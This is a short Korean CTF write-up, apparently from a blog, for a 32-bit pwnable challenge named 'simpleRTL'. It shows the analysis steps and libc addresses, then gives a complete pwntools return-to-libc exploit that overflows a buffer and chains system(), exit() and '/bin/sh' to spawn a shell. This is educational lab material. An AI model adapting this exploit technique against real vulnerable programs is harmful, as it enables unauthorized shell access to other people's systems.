728x90
checksec
IDA로 pseudo code 확인
system의 주소를 출력받고 문자열 s를 입력하게 되어있음
./simpleRTL
실행하면 system()함수의 주소를 출력하고 문자열 s에 사용자로부터 입력을 받도록 한다.
debugging
libc-2.23.so 시작 주소: 0xf7dff000
라이브러리 내에 있는 문자열 /bin/sh의 주소: 0xf7f5aa0b
system()함수와 '/bin/sh' 주소 사이에 "A"*4를 넣었을 때 계속 오류 발생 >> exit()함수의 주소를 넣어줌
$3: exit() - libc
$4: system() - libc
$5: /bin/sh - libc
Exlploit
from pwn import *
context.log_level = "debug"
p=process("./simpleRTL")
elf=ELF('./simpleRTL')
p.recvuntil("system() address: ")
sysAddr=int(p.recvuntil("\n"),16)
libcbase=sysAddr - 0x3ada0
binsh=libcbase+0x15ba0b
exitadd=libcbase+0x29d0
pl="A"*(0x44 + 4)
pl+=p32(sysAddr)
pl+=p32(exitadd)
pl+=p32(binsh)
p.sendline(pl)
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
simpleROP (0) | 2020.06.14 |
---|---|
shot (0) | 2020.06.01 |
[TAMU 2019] pwn1 (0) | 2020.05.30 |
RTL_x64 (0) | 2020.05.25 |
[TAMU 2018] pwn4 (0) | 2020.05.24 |